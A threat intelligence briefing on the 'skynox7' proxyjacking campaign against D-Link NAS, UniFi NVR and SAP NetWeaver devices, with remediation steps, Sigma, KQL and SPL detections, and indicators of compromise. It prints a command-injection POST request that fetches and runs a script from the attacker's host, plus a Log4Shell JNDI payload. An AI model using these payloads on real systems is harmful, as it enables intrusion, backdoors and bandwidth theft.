Proxyjacking: How to Detect & Block Edge Device Bandwidth Theft

SOC Briefing Summary :: Executive Key Takeaways
- [01]GreyNoise uncovered 'skynox7', a global proxyjacking campaign that has hijacked at least 143 edge devices across 34 countries to silently siphon and monetize victim bandwidth via commercial residential proxy networks.
- [02]Adversaries weaponized N-day vulnerabilities—including D-Link ShareCenter NAS command injection (CVE-2024-3272/3273), Ubiquiti UniFi NVR Log4Shell (CVE-2021-44228), and SAP NetWeaver (CVE-2025-31324)—to deploy headless Pawns.app proxyware and backdoor SSH keys.
- [03]Immediately inspect edge appliances for unauthorized background processes and SSH keys in `~/.ssh/authorized_keys`, isolate WAN management interfaces, and hunt Entra ID logs for multiple enterprise users authenticating from identical residential IPs.
Executive Summary
A global threat investigation published by GreyNoise Intelligence has revealed an active, automated proxyjacking campaign attributed to a threat actor operating under the moniker skynox7. The campaign systematically breaches network-attached storage (NAS) devices, network video recorders (NVRs), and enterprise edge appliances across 34 countries to surreptitiously deploy commercial residential proxy software, siphoning victims' internet connections for illicit monetization.
The intrusion was initially uncovered during a live enterprise product demonstration when GreyNoise detected threat-flagged IP addresses within an organization's Microsoft Entra ID authentication logs. Crucially, forensic review revealed that multiple distinct corporate users were authenticating simultaneously from the exact same residential IP address—a telltale anomaly exposing how downstream threat actors purchase hijacked residential proxy access to bypass geolocation-based conditional access policies and "impossible travel" detection rules.
Rather than deploying destructive ransomware or cryptocurrency miners, the adversary capitalizes on bandwidth-sharing networks (specifically Pawns.app, an operating affiliate of IPRoyal). By deploying headless proxyware configured with the attacker's personal monetization account, skynox7 collects recurring passive income while leaving victim organizations exposed to ISP throttling, regulatory scrutiny, and downstream threat actor activity routing through their network perimeter.
Technical Vulnerability Analysis & Attack Chain

Root-Cause & Exploitation Mechanics
Telemetry gathered by GreyNoise reveals that skynox7 orchestrates mass scanning and automated exploitation from a centralized staging server located at `209.99.190.80`. The attacker targets end-of-life (EoL) and unpatched edge appliances using a sequence of known vulnerabilities:
- D-Link ShareCenter NAS (CVE-2024-3272 & CVE-2024-3273):
- Mechanics: The actor exploits hardcoded default credentials (
messagebuswith an empty password) combined with an unauthenticated command injection vulnerability in thenas_sharing.cgiURI via thesystemparameter. - Exploitation Vector: A single crafted HTTP POST request permits arbitrary shell commands to execute with elevated root privileges:
- Mechanics: The actor exploits hardcoded default credentials (
POST /cgi-bin/nas_sharing.cgi HTTP/1.1
Host: <victim-ip>
Content-Type: application/x-www-form-urlencoded
cmd=15&system=wget+http://209.99.190.80/stage.sh+-O+/tmp/s.sh;sh+/tmp/s.sh- Ubiquiti UniFi Video NVR (CVE-2021-44228 / Log4Shell):
- Mechanics: Legacy UniFi Video controller services that remain exposed on internet-facing ports without applying vendor hotfixes process untrusted JNDI lookup strings.
- Exploitation Vector: An attacker transmits JNDI injection headers (
${jndi:ldap://209.99.190.80/a}) through vulnerable API endpoints, triggering outbound callbacks that download and execute ELF staging payloads.
- SAP NetWeaver Visual Composer (CVE-2025-31324):
- Mechanics: Pre-authenticated remote code execution flaw in unpatched SAP NetWeaver Visual Composer components, allowing attackers to write drop files and trigger shell commands under the operating system service account.
- Secondary IoT Probing (Hikvision & Dahua NVR/DVRs):
- Mechanics: Telemetry confirms opportunistic probing of Hikvision and Dahua IP surveillance recording units utilizing credential-stuffing dictionaries and unpatched command injection endpoints.
Proxyware Deployment & Persistence
Once arbitrary command execution is achieved on the edge appliance, the threat actor executes a staged shell script that carries out three primary actions:
- Volatile Staging: Fetches architecture-specific ELF binaries of Pawns.app (compiled for x86_64, ARM, and MIPS architectures) directly into volatile memory mounts (
/tmpor/dev/shm) to evade simple filesystem timestamp sweeps. - Monetization Execution: Spawns the headless Pawns.app client with command-line arguments linking the victim node directly to the attacker's account:
/tmp/pawns-cli -email=skynox7@proton.me -password=<redacted> -device-name=edge_node_<id> -accept-tos- Out-of-Band SSH Backdoor: To retain operational control even if the proxy process dies or device configuration is rebooted, the script appends an attacker-controlled public OpenSSH key directly into
~/.ssh/authorized_keysor/etc/dropbear/authorized_keys.
Downstream Threat Implications: Entra ID Abuse & Evasion
The most hazardous consequence of proxyjacking is not bandwidth theft alone—it is the loss of IP reputation integrity. Commercial residential proxy networks like Pawns.app market their routing pool to third parties as clean, non-datacenter IP addresses.
When foreign intelligence operatives or cybercriminal rings purchase residential proxy streams:
- Bypassing Impossible Travel: Conditional Access policies configured in Microsoft Entra ID or Okta flag sign-ins originating from VPS hosting providers (DigitalOcean, AWS, Linode). When an attacker routes authentication through a residential D-Link or Ubiquiti device located in the employee's home region, security controls evaluate the sign-in as benign ISP residential traffic.
- Multi-User Anomalies: In the incident uncovered by GreyNoise, an adversary authenticated multiple compromised corporate user identities through the same residential proxy node within minutes, circumventing traditional geolocation baselines.
MITRE ATT&CK Tactics, Techniques & Procedures (TTPs)
| Tactic | Technique ID | Technique Name | Operational Context |
|---|---|---|---|
| Initial Access | T1190 | Exploit Public-Facing Application | Exploitation of CVE-2024-3272/3273, CVE-2021-44228, and CVE-2025-31324 |
| Execution | T1059.004 | Command and Scripting Interpreter: Unix Shell | Execution of stage.sh via wget/curl from exploit server 209.99.190.80 |
| Persistence | T1098.004 | Account Manipulation: SSH Authorized Keys | Injection of attacker public SSH key into root ~/.ssh/authorized_keys |
| Resource Hijacking | T1496.001 | Resource Hijacking: Bandwidth Hijacking | Deployment of Pawns.app proxyware to monetize victim network uplink |
| Defense Evasion | T1090.003 | Proxy: Multi-hop / Residential Proxies | Downstream adversaries routing malicious Entra ID logins via victim IP |
| Command and Control | T1071.001 | Application Layer Protocol: Web Protocols | Pawns.app maintains encrypted TLS tunnels to commercial proxy gateway pools |
Threat Actor Profile & Campaign Attribution
The campaign is tracked by GreyNoise as skynox7, identified through hardcoded runtime credentials and email registration artifacts (skynox7@proton.me) supplied during automated CLI provisioning of the Pawns.app agent.
- Monetization Engine: The actor relies on the affiliate model of Pawns.app (an IPRoyal affiliate), which compensates node operators via cryptocurrency (Bitcoin) or payment processors for every gigabyte of data proxied through the residential node.
- Target Selection: Rather than targeting high-value corporate domain controllers directly, skynox7 scans broad IP blocks for unmanaged, internet-exposed IoT and SOHO edge devices. Because these devices typically lack endpoint detection and response (EDR) agents and automated patching mechanisms, compromises frequently persist unnoticed for months.
- Geographic Distribution: GreyNoise confirmed at least 143 unique victim edge devices distributed across 34 countries, with heavy concentrations in North America, Europe, and East Asia.
Detection & SOC Mitigation Playbook
1. Concrete Remediation & Workarounds
Defenders and network administrators must execute the following forensic triage and remediation actions on all exposed perimeter and IoT appliances:
Step 1: Inspect and Terminate Rogue Proxy Processes Audit running processes on Linux-based routers, NAS servers, and NVRs for unauthorized proxyware binaries:
# Identify rogue processes running from volatile directories (/tmp, /dev/shm)
ps aux | grep -E 'pawns|iproyal|proxy|traffic' | grep -v grep
# Terminate suspicious processes immediately
pkill -9 -f pawns-cliStep 2: Audit and Purge Backdoor SSH Authorized Keys Inspect and sanitize SSH key rings across all user and administrative accounts:
# Review authorized_keys files for untrusted keys
cat /root/.ssh/authorized_keys /etc/dropbear/authorized_keys 2>/dev/null
# Clean unauthorized keys and enforce strict permissions
truncate -s 0 /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.sshStep 3: Restrict Perimeter WAN Management Interfaces Eliminate direct internet access to administrative panels (ports 80, 443, 8080, 8443) on D-Link, Ubiquiti, and IoT devices. Require access exclusively through an authenticated enterprise VPN or Zero Trust Network Access (ZTNA) gateway.
Step 4: Block Known Exploitation IP at the Perimeter Firewall Implement drop rules at edge firewalls and border routers for the scanning and staging node:
# Linux iptables perimeter rule
iptables -I INPUT -s 209.99.190.80 -j DROP
iptables -I FORWARD -s 209.99.190.80 -j DROP2. Network & Perimeter Defenses
- Egress Proxy Sinkholing: Restrict edge IoT devices and NAS appliances from initiating outbound TCP sessions to non-standard ports (e.g. 5000–9999) and dynamic proxy pool subnets.
- Rate-Limiting Bandwidth Baselines: Configure NetFlow/IPFIX monitoring to alert when edge NAS or camera appliances experience sudden, sustained surges in outbound transfer volume incongruent with standard backup or video streaming schedules.
3. Endpoint Detection & Hunting Query
Sigma Rule: Unauthorized Proxyjacking Binary Execution in Volatile Paths
title: Execution of Pawns.app or Residential Proxyware Binary
id: b91f4d22-7e04-4c91-a18d-4f1295b9d3e8
status: experimental
description: Detects the command-line execution of Pawns.app or associated proxyjacking binaries from volatile Linux directories (/tmp, /dev/shm), indicating bandwidth monetization abuse.
author: CyberNewsAI Threat Research Team
references:
- https://www.greynoise.io/blog/proxyjacking-edge-devices-residential-proxies
logsource:
category: process_creation
product: linux
detection:
selection_path:
Image|startswith:
- '/tmp/'
- '/dev/shm/'
- '/var/tmp/'
selection_cmdline:
CommandLine|contains:
- 'pawns-cli'
- '-email='
- 'skynox7@proton.me'
- '-accept-tos'
- 'iproyal'
condition: selection_path and selection_cmdline
falsepositives:
- Legitimate residential proxy software deliberately installed by an authorized endpoint administrator
level: high
tags:
- attack.resource_hijacking
- attack.t1496.001
- attack.executionMicrosoft Sentinel / Defender KQL Hunting Query: Multi-User Residential IP Logins
// Detect multiple distinct enterprise users authenticating from the same residential IP address within 1 hour
SigninLogs
| where TimeGenerated >= ago(7d)
| where ResultType == 0 // Successful sign-ins
| where NetworkLocationDetails !has "Corporate" // Non-corporate IP addresses
| summarize
DistinctUserCount = dcount(UserPrincipalName),
UserList = make_set(UserPrincipalName, 10),
AppList = make_set(AppDisplayName, 5),
FirstSeen = min(TimeGenerated),
LastSeen = max(TimeGenerated)
by IPAddress, Location
| where DistinctUserCount >= 3 // Alert when 3+ distinct enterprise users login via same residential IP
| project FirstSeen, LastSeen, IPAddress, Location, DistinctUserCount, UserList, AppList
| sort by DistinctUserCount descSplunk SPL Hunting Query: Unauthorized SSH Key Injection & Proxyware Execution
index=os (sourcetype=syslog OR sourcetype=bash_history OR sourcetype=auditd)
| eval command=lower(command)
| where (like(command, "%authorized_keys%") AND (like(command, "%curl%") OR like(command, "%wget%") OR like(command, "%echo%")))
OR (like(command, "%pawns%") OR like(command, "%skynox7%") OR like(command, "%209.99.190.80%"))
| table _time, host, user, process, commandThe following Indicators of Compromise have been verified against authoritative research telemetry published by GreyNoise Intelligence.
Attacker Infrastructure & Accounts
| Indicator | Type | Operational Context |
|---|---|---|
| 209.99.190.80 | IPv4 | Exploitation scanning & script staging host |
| skynox7@proton.me | Email / Account | Pawns.app affiliate monetization account |
Malware & Proxyware Binary Hashes (SHA-256)
| SHA-256 Hash | File Classification | Description |
|---|---|---|
| e3dedf983c572d3e646a9b70fe9b41be497a3a2e5342c36dd3bd37cef7ebeffd | Executable (ELF) | Pawns.app CLI Client (Linux x86_64) |
| fdc18f4287c1c6a285c664d3ce0f17d3479bc246bc6c163eb90b1a84adb453a7 | Executable (ELF) | Pawns.app CLI Client (Linux ARM) |
| 4fd7fa22776dbfde7ddaf02a4f904564593e2ed69f87cbb7bbd6c206a874ecf7 | Executable (ELF) | Pawns.app CLI Client (Linux MIPS) |
| 26abd52f207739556282023e82873424795abc5e527771205a40749f90c01f6e | Executable (ELF) | Pawns.app Headless Runner |
| df27938d26c1c9421ff307aafcb87131521e05f5d87ecaaab4a32ece3335fee4 | Executable (ELF) | Pawns.app Packaged Payload |
| 2c12a3193b1528cd0a88d4fcfa0c060404de4c2bbe1fecb3fc3fa347f04e0165 | Executable (ELF) | Pawns.app Staged Binary |
| 71f2924a549a8f79a48ff332b071a12cd0b01e9ba643e9f8ed7b72b6d382325d | Executable (ELF) | Pawns.app Staged Binary |
Targeted Vulnerabilities (CVEs)
| CVE Identifier | Affected Vendor & Component | Vulnerability Classification |
|---|---|---|
| CVE-2024-3272 | D-Link ShareCenter NAS | Hardcoded Credentials (messagebus) |
| CVE-2024-3273 | D-Link ShareCenter NAS (nas_sharing.cgi) | Unauthenticated Command Injection |
| CVE-2021-44228 | Ubiquiti UniFi Video NVR Controller | Log4Shell Remote Code Execution |
| CVE-2025-31324 | SAP NetWeaver Visual Composer | Pre-Authentication Remote Code Execution |
209.99.190.80e3dedf983c572d3e646a9b70fe9b41be497a3a2e5342c36dd3bd37cef7ebeffdfdc18f4287c1c6a285c664d3ce0f17d3479bc246bc6c163eb90b1a84adb453a74fd7fa22776dbfde7ddaf02a4f904564593e2ed69f87cbb7bbd6c206a874ecf726abd52f207739556282023e82873424795abc5e527771205a40749f90c01f6edf27938d26c1c9421ff307aafcb87131521e05f5d87ecaaab4a32ece3335fee42c12a3193b1528cd0a88d4fcfa0c060404de4c2bbe1fecb3fc3fa347f04e016571f2924a549a8f79a48ff332b071a12cd0b01e9ba643e9f8ed7b72b6d382325d// VERIFIED_SOURCES_&_REFERENCES
Watch Full Video Briefings on YouTube
Subscribe to CyberNewsAI on YouTube for animated threat vectors, CISO breakdowns, and security briefings.
Related Threat Intelligence
View Archive
UAT-6275: How to Detect & Block Kazakhstan-Nexus Reverse Shells
Cisco Talos exposes UAT-6275, a Kazakhstan-nexus threat actor using WinRAR exploits and PickleShell to spy on CIS governments. Here is how to defend.

YAM Store: How to Detect & Block 1B-Message Phishing Networks
Microsoft disrupts YAM Store and Storm-3119, a massive cybercrime network behind 1 billion phishing messages. Here is how to defend enterprise clouds.

CVE-2026-96951: How to Detect & Patch Windows Shell MotW Zero-Day
Microsoft patches a record 1,413 flaws in October 2026, highlighted by actively exploited Windows Shell MotW zero-day CVE-2026-96951. Here is how to defend.